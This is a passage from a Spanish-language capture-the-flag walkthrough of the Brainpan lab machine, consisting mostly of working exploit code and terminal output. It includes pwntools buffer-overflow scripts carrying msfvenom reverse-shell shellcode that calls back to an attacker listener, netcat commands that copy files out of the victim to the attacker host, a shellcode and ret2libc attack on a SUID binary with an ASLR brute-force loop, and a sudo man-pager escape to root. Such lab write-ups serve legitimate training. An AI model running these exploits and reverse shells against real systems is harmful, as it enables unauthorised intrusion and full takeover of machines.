shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"
payload = junk + jmpesp + opcode + shellcode
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Y la que creo mas conveniente al menos en este caso especifico es utilizar otro tipo de encoder
como jmp_call_additive
que no tendrá instrucciones en el ESP
como si las tiene el encoder shikata_ga_nai
que es el que msfvenom se usa por defecto
✘ -e x86/shikata_ga_nai
✔ -e x86/jmp_call_additive
Asi que creamos un nuevo shellcode
ahora con el encoder x86/jmp_call_additive
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.85 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x46\xbc\x5d\x42\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xba\x54\xdf\x42\x42\xa5\x80\xcb"
shellcode += b"\xa7\x94\x80\xa8\xac\x87\x30\xba\xe0\x2b\xba"
shellcode += b"\xee\x10\xbf\xce\x26\x17\x08\x64\x11\x16\x89"
shellcode += b"\xd5\x61\x39\x09\x24\xb6\x99\x30\xe7\xcb\xd8"
shellcode += b"\x75\x1a\x21\x88\x2e\x50\x94\x3c\x5a\x2c\x25"
shellcode += b"\xb7\x10\xa0\x2d\x24\xe0\xc3\x1c\xfb\x7a\x9a"
shellcode += b"\xbe\xfa\xaf\x96\xf6\xe4\xac\x93\x41\x9f\x07"
shellcode += b"\x6f\x50\x49\x56\x90\xff\xb4\x56\x63\x01\xf1"
shellcode += b"\x51\x9c\x74\x0b\xa2\x21\x8f\xc8\xd8\xfd\x1a"
shellcode += b"\xca\x7b\x75\xbc\x36\x7d\x5a\x5b\xbd\x71\x17"
shellcode += b"\x2f\x99\x95\xa6\xfc\x92\xa2\x23\x03\x74\x23"
shellcode += b"\x77\x20\x50\x6f\x23\x49\xc1\xd5\x82\x76\x11"
shellcode += b"\xb6\x7b\xd3\x5a\x5b\x6f\x6e\x01\x34\x5c\x43"
shellcode += b"\xb9\xc4\xca\xd4\xca\xf6\x55\x4f\x44\xbb\x1e"
shellcode += b"\x49\x93\xbc\x34\x2d\x0b\x43\xb7\x4e\x02\x80"
shellcode += b"\xe3\x1e\x3c\x21\x8c\xf4\xbc\xce\x59\x5a\xec"
shellcode += b"\x60\x32\x1b\x5c\xc1\xe2\xf3\xb6\xce\xdd\xe4"
shellcode += b"\xb9\x04\x76\x8e\x40\xcf\xb9\xe7\x2e\x5a\x52"
shellcode += b"\xfa\xae\x65\x19\x73\x48\x0f\x4d\xd2\xc3\xb8"
shellcode += b"\xf4\x7f\x9f\x59\xf8\x55\xda\x5a\x72\x5a\x1b"
shellcode += b"\x14\x73\x17\x0f\xc1\x73\x62\x6d\x44\x8b\x58"
shellcode += b"\x19\x0a\x1e\x07\xd9\x45\x03\x90\x8e\x02\xf5"
shellcode += b"\xe9\x5a\xbf\xac\x43\x78\x42\x28\xab\x38\x99"
shellcode += b"\x89\x32\xc1\x6c\xb5\x10\xd1\xa8\x36\x1d\x85"
shellcode += b"\x64\x61\xcb\x73\xc3\xdb\xbd\x2d\x9d\xb0\x17"
shellcode += b"\xb9\x58\xfb\xa7\xbf\x64\xd6\x51\x5f\xd4\x8f"
shellcode += b"\x27\x60\xd9\x47\xa0\x19\x07\xf8\x4f\xf0\x83"
shellcode += b"\x18\xb2\xd0\xf9\xb0\x6b\xb1\x43\xdd\x8b\x6c"
shellcode += b"\x87\xd8\x0f\x84\x78\x1f\x0f\xed\x7d\x5b\x97"
shellcode += b"\x1e\x0c\xf4\x72\x20\xa3\xf5\x56\x20\x43\x0a"
shellcode += b"\x59"
De esta manera no necesitamos desplazar la pila y seria junk + jmpesp + shellcode
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
jmpesp = p32(0x311712f3)
shellcode = b""
shellcode += b"\xfc\xbb\x46\xbc\x5d\x42\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xba\x54\xdf\x42\x42\xa5\x80\xcb"
shellcode += b"\xa7\x94\x80\xa8\xac\x87\x30\xba\xe0\x2b\xba"
shellcode += b"\xee\x10\xbf\xce\x26\x17\x08\x64\x11\x16\x89"
shellcode += b"\xd5\x61\x39\x09\x24\xb6\x99\x30\xe7\xcb\xd8"
shellcode += b"\x75\x1a\x21\x88\x2e\x50\x94\x3c\x5a\x2c\x25"
shellcode += b"\xb7\x10\xa0\x2d\x24\xe0\xc3\x1c\xfb\x7a\x9a"
shellcode += b"\xbe\xfa\xaf\x96\xf6\xe4\xac\x93\x41\x9f\x07"
shellcode += b"\x6f\x50\x49\x56\x90\xff\xb4\x56\x63\x01\xf1"
shellcode += b"\x51\x9c\x74\x0b\xa2\x21\x8f\xc8\xd8\xfd\x1a"
shellcode += b"\xca\x7b\x75\xbc\x36\x7d\x5a\x5b\xbd\x71\x17"
shellcode += b"\x2f\x99\x95\xa6\xfc\x92\xa2\x23\x03\x74\x23"
shellcode += b"\x77\x20\x50\x6f\x23\x49\xc1\xd5\x82\x76\x11"
shellcode += b"\xb6\x7b\xd3\x5a\x5b\x6f\x6e\x01\x34\x5c\x43"
shellcode += b"\xb9\xc4\xca\xd4\xca\xf6\x55\x4f\x44\xbb\x1e"
shellcode += b"\x49\x93\xbc\x34\x2d\x0b\x43\xb7\x4e\x02\x80"
shellcode += b"\xe3\x1e\x3c\x21\x8c\xf4\xbc\xce\x59\x5a\xec"
shellcode += b"\x60\x32\x1b\x5c\xc1\xe2\xf3\xb6\xce\xdd\xe4"
shellcode += b"\xb9\x04\x76\x8e\x40\xcf\xb9\xe7\x2e\x5a\x52"
shellcode += b"\xfa\xae\x65\x19\x73\x48\x0f\x4d\xd2\xc3\xb8"
shellcode += b"\xf4\x7f\x9f\x59\xf8\x55\xda\x5a\x72\x5a\x1b"
shellcode += b"\x14\x73\x17\x0f\xc1\x73\x62\x6d\x44\x8b\x58"
shellcode += b"\x19\x0a\x1e\x07\xd9\x45\x03\x90\x8e\x02\xf5"
shellcode += b"\xe9\x5a\xbf\xac\x43\x78\x42\x28\xab\x38\x99"
shellcode += b"\x89\x32\xc1\x6c\xb5\x10\xd1\xa8\x36\x1d\x85"
shellcode += b"\x64\x61\xcb\x73\xc3\xdb\xbd\x2d\x9d\xb0\x17"
shellcode += b"\xb9\x58\xfb\xa7\xbf\x64\xd6\x51\x5f\xd4\x8f"
shellcode += b"\x27\x60\xd9\x47\xa0\x19\x07\xf8\x4f\xf0\x83"
shellcode += b"\x18\xb2\xd0\xf9\xb0\x6b\xb1\x43\xdd\x8b\x6c"
shellcode += b"\x87\xd8\x0f\x84\x78\x1f\x0f\xed\x7d\x5b\x97"
shellcode += b"\x1e\x0c\xf4\x72\x20\xa3\xf5\x56\x20\x43\x0a"
shellcode += b"\x59"
payload = junk + jmpesp + shellcode
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Ahora al ejecutar este script nos llegua la shell
sin ningun problema como antes
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
Microsoft Windows [Versión 10.0.23430.1000]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\System32>whoami
xchg2pwn\pc1
C:\Windows\System32>
Shell - puck
Ahora que funciona simplemente cambiamos la dirección ip de el apartado de remote
shell = remote("192.168.100.62", 9999)
Corremos el exploit y recibimos una shell
de la máquina victima en la unidad Z:
❯ python3 exploit.py
[+] Opening connection to 192.168.100.62 on port 9999: Done
[*] Closed connection to 192.168.100.62 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.62
CMD Version 1.4.1
Z:\home\puck>whoami
File not found.
Z:\home\puck>
No podemos hacer un simple whoami
, sin embargo al mirar los directorios en la raiz
podemos ver que la estructura de directorios es de un Linux
Z:\home\puck>dir Z:\
Volume in drive Z has no label.
Volume Serial Number is 0000-0000
Directory of Z:
3/4/2013 1:02 PM <DIR> bin
3/4/2013 11:19 AM <DIR> boot
4/7/2023 11:09 PM <DIR> etc
3/4/2013 11:49 AM <DIR> home
3/4/2013 11:18 AM 15,084,717 initrd.img
3/4/2013 11:18 AM 15,084,717 initrd.img.old
3/4/2013 1:04 PM <DIR> lib
3/4/2013 10:12 AM <DIR> lost+found
3/4/2013 10:12 AM <DIR> media
10/9/2012 9:59 AM <DIR> mnt
3/4/2013 10:13 AM <DIR> opt
3/7/2013 11:07 PM <DIR> root
4/7/2023 11:09 PM <DIR> run
3/4/2013 11:20 AM <DIR> sbin
6/11/2012 9:43 AM <DIR> selinux
3/4/2013 10:13 AM <DIR> srv
4/8/2023 12:29 AM <DIR> tmp
3/4/2013 10:13 AM <DIR> usr
8/5/2019 3:47 PM <DIR> var
2/25/2013 2:32 PM 5,180,432 vmlinuz
2/25/2013 2:32 PM 5,180,432 vmlinuz.old
4 files 40,530,298 bytes
17 directories 13,849,333,760 bytes free
Z:\home\puck>
Basta con ejecutar la ruta absoluta del binario sh
para obtener una shell de Linux
Z:\home\puck>/bin/sh
sh: turning off NDELAY mode
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.62
puck@brainpan:~$
Otra forma es cambiando el payload msfvenom
a uno de linux x86 para recibir una sh
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.85 LPORT=443 EXITFUNC=thread EXITFUNC=thread -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xcf\xf0\x92\x67\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xfe\x2b\x65\x84\x53\x8f\xd9\x21"
shellcode += b"\x51\x86\x3f\x05\x33\x55\x3f\xf5\xe2\xd5\x7f"
shellcode += b"\x37\x94\x5f\xf9\x3e\xfc\x9f\x51\xa4\xa9\x77"
shellcode += b"\xa0\x25\x50\x33\x2d\xc4\xe2\x25\x7e\x56\x51"
shellcode += b"\x19\x7d\xd1\xb4\x90\x02\xb3\x5e\x45\x2c\x47"
shellcode += b"\xf6\xf1\x1d\x88\x64\x6b\xeb\x35\x3a\x38\x62"
shellcode += b"\x58\x0a\xb5\xb9\x1b\x6a\xca\x41\x1c"
Modificamos el script, lo ejecutamos y recibimos directamente una sh de Linux
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
jmpesp = p32(0x311712f3)
shellcode = b""
shellcode += b"\xfc\xbb\xcf\xf0\x92\x67\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xfe\x2b\x65\x84\x53\x8f\xd9\x21"
shellcode += b"\x51\x86\x3f\x05\x33\x55\x3f\xf5\xe2\xd5\x7f"
shellcode += b"\x37\x94\x5f\xf9\x3e\xfc\x9f\x51\xa4\xa9\x77"
shellcode += b"\xa0\x25\x50\x33\x2d\xc4\xe2\x25\x7e\x56\x51"
shellcode += b"\x19\x7d\xd1\xb4\x90\x02\xb3\x5e\x45\x2c\x47"
shellcode += b"\xf6\xf1\x1d\x88\x64\x6b\xeb\x35\x3a\x38\x62"
shellcode += b"\x58\x0a\xb5\xb9\x1b\x6a\xca\x41\x1c"
payload = junk + jmpesp + shellcode
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
❯ python3 exploit.py
[+] Opening connection to 192.168.100.62 on port 9999: Done
[*] Closed connection to 192.168.100.62 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.62
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.62
puck@brainpan:~$
Shell - anansi
Buscando archivos suid
hay uno que sobresale, un binario personalizado validate
puck@brainpan:~$ find / -perm -u+s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
puck@brainpan:~$
El binario pertenece al usuario anansi
y tiene el privilegio suid
en los permisos
puck@brainpan:~$ ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 /usr/local/bin/validate
puck@brainpan:~$
Al ejecutarlo nos pide un input
, asi que le pasamos test
como input aunque realmente no queda muy claro que es lo que hace con el, solo devuelve un mensaje
puck@brainpan:~$ validate
usage validate <input>
puck@brainpan:~$ validate test
validating input...passed.
puck@brainpan:~$
Podemos descargar el binario
en nuestra máquina para analizarlo usando netcat
puck@brainpan:~$ netcat 192.168.100.85 4444 < /usr/local/bin/validate
puck@brainpan:~$
❯ netcat -lvnp 4444 > validate
Listening on 0.0.0.0 4444
Connection received on 192.168.100.62
Lo abrimos con ida
y podemos ver la función main
y todo su codigo base en c
La función valida que este recibiendo un argumento y lo realmente destacable que hace es llamar a la función validate
pasandole el primer argumento
int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( argc > 1 )
{
printf("validating input...");
if ( validate((char *)argv[1]) )
puts("passed.");
return 0;
}
else
{
printf("usage %s <input>\n", *argv);
return 0;
}
}
En el codigo de la función validate
tenemos 2
cosas bastante interesantes
char *__cdecl validate(char *string)
{
char buffer[100]; // [esp+18h] [ebp-70h] BYREF
int i; // [esp+7Ch] [ebp-Ch]
for ( i = 0; i < (unsigned int)strlen(string); ++i )
{
if ( string[i] == 'F' )
{
printf("failed: %x\n", string[i]);
exit(1);
}
}
strcpy(buffer, string);
return buffer;
}
Primero podemos ver que define un total de 100
bytes de buffer
y usa la función strcpy
con el argumento por lo que puede que sea vulnerable a Buffer Overflow
char buffer[100];
strcpy(buffer, string);
Pero en caso de que el caracter F
este en el input se cortará donde este el caracter y omitira el resto, hay que tener esto en cuenta por posibles problemas más adelante
if ( string[i] == 'F' )
{
printf("failed: %x\n", string[i]);
exit(1);
}
Con checksec
podemos ver que el binario no tiene ninguna protección
❯ checksec validate
[*] '/home/kali/validate'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Abrimos gdb
y corremos el programa pasandole un patrón de caracteres como argumento
, al pasar del buffer asignado este corrompe sobrescribiendo registros
❯ gdb -q validate
Reading symbols from validate...
pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
pwndbg> run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/kali/validate aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x62616165 in ?? ()
pwndbg>
Si le pasamos a cyclic
la direccion del EIP este nos mostrara el offset necesitado
pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'eaab' (hex: 0x65616162)
Found at offset 116
pwndbg>
Si miramos con ropper
direcciones a donde podemos saltar encontramos 2 instrucciones que nos ejecutan call eax
, con lo que volveriamos al inicio del input
❯ ropper --file validate --jmp eax
JMP Instructions
================
0x080484af: call eax;
0x0804862b: call eax;
2 gadgets found
Cualquiera de las 2 direcciones para CALL EAX
es válida en este caso usare la segunda pero hay que darle la vuelta ya que estamos en little endian
, para ello crearemos una funcion llamada p32
usando struct que se encargara de ello
p32 = lambda addr: struct.pack("I", addr)
Podemos empezar a crear un script definiendo el offset
y la dirección de CALL EAX
#!/usr/bin/python2
offset = 116
calleax = p32(0x080484af)
Agregamos un shellcode en arquitectura x86 ya que estamos en 32 bits el cual nos ejecutara una /bin/sh
al script y rellenamos con A
hasta llegar al registro EIP
, en el volveremos con la dirección de CALL EAX
y asi se ejecutara el shellcode
#!/usr/bin/python2
import struct
p32 = lambda addr: struct.pack("I", addr)
offset = 116
calleax = p32(0x080484af)
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
junk = b"A" * (offset - len(shellcode))
print(shellcode + junk + calleax)
Nuestro payload sera el siguiente, iniciamos por un shellcode en x86 que ejecute una /bin/sh
, despues rellenamos con A's
hasta llegar al EIP
y hacemos que este apunte a la direccion de la intrucción call eax
, esta instruccion interpretara el registro eax
donde esta el inicio de nuestro input
y ejecutara nuestro shellcode
Ejecutamos el binario validate
en la máquina victima con el exploit ejecutado como validate
, al hacerlo conseguimos una shell
como el usuario anansi
puck@brainpan:~$ validate $(python2 exploit.py)
$ whoami
anansi
$ hostname -I
10.10.27.47
$
Otro metodo es explotarlo mediante un ret2libc
, para esto necesitamos saber la libreria que usa el binario que en este caso con ldd
vemos que es libc.so.6
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb77d5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
/lib/ld-linux.so.2 (0xb77d6000)
puck@brainpan:~$
Descargamos el archivo libc.so.6
con netcat
de la misma manera que antes
puck@brainpan:~$ netcat 10.8.64.87 4444 < /lib/i386-linux-gnu/libc.so.6
puck@brainpan:~$
❯ netcat -lvnp 4444 > libc.so.6
Listening on 0.0.0.0 4444
Connection received on 10.10.27.47
Para empezar tomaremos como base
una dirección de libc
usando ldd
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb7719000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
/lib/ld-linux.so.2 (0xb771a000)
puck@brainpan:~$
Ahora con readelf
conseguimos offsets
de las direcciones para exit
y system
❯ readelf -s libc.so.6 | grep -E " system@@| exit@@"
136: 00032fb0 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1422: 0003f430 141 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
Para conseguir un offset
de la dirección de /bin/sh
podemos usar strings
❯ strings -a -t x libc.so.6 | grep /bin/sh
160f58 /bin/sh
Tenemos las 3 direcciones necesitadas para ret2libc
: system
exit
y /bin/sh
system = 0x0003f430
bin_sh = 0x00160f58
exit = 0x00032fb0
Sin embargo estas direcciones son solo offsets
, para conseguir la direccion real necesitamos sumarle la dirección de libc base
que tenemos de antes
libc_base = 0xb7565000
system = p32(libc_base + 0x0003f430)
bin_sh = p32(libc_base + 0x00160f58)
exit = p32(libc_base + 0x00032fb0)
Plasmamos el junk
y las direcciones
en un script de python y las printeamos
#!/usr/bin/python2
import struct
p32 = lambda addr: struct.pack("I", addr)
offset = 116
junk = b"A" * offset
libc_base = 0xb7565000
system = p32(libc_base + 0x0003f430)
bin_sh = p32(libc_base + 0x00160f58)
exit = p32(libc_base + 0x00032fb0)
print(junk + system + exit + bin_sh)
De esta manera en el EIP
ejecutariamos system()
como función, exit()
como función de retorno
y le pasaremos la string /bin/sh
como argumento
a system()
Sin embargo tenemos un problema y es que la dirección de libc base
cambia constantemente, esto es porque el ASLR
esta activado y hay aleatorizacion
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb77ce000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000)
/lib/ld-linux.so.2 (0xb77cf000)
puck@brainpan:~$ cat /proc/sys/kernel/randomize_va_space
2
puck@brainpan:~$
Sin embargo en x86
las direcciones son tan pequeñas
que despues de ejecutar el binario varias veces la dirección de libc base
vuelve a coincidir
varias veces
puck@brainpan:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/validate | grep 0xb7565000; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
puck@brainpan:~$
Asi que es caso de ejecutarlo en bucle
hasta que consigamos una sh como anansi
puck@brainpan:~$ while true; do validate $(python2 exploit.py); done
Segmentation fault
Segmentation fault
Segmentation fault
$ whoami
anansi
$ hostname -I
10.10.27.47
$
Shell - root
A nivel de sudoers
podemos ejecutar como root
sin contraseña anansi_util
$ sudo -l
Matching Defaults entries for anansi on this host:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
$
Tenemos varias opciones entre ellas manual
, podemos desplegar el manual del comando whoami
y entra en un modo paginate
, ejecutamos !bash
y somos root
$ sudo /home/anansi/bin/anansi_util manual whoami
NAME
whoami - print effective userid
SYNOPSIS
whoami [OPTION]...
DESCRIPTION
Print the user name associated with the current effective user ID
--help display this help and exit
--version
output version information and exit
AUTHOR
Written by Richard Mlynarik.
!bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:/usr/share/man#
Es necesario mencionar que el Buffer Overflow
de la escalada es opcional ya que a nivel de sudoers de puck
tenemos el binario anansi_util
que teniamos antes, asi que solo repetimos el proceso y conseguimos una shell como el usuario root
puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual whoami
NAME
whoami - print effective userid
SYNOPSIS
whoami [OPTION]...
DESCRIPTION
Print the user name associated with the current effective user ID
--help display this help and exit
--version
output version information and exit
AUTHOR
Written by Richard Mlynarik.
!bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:/usr/share/man#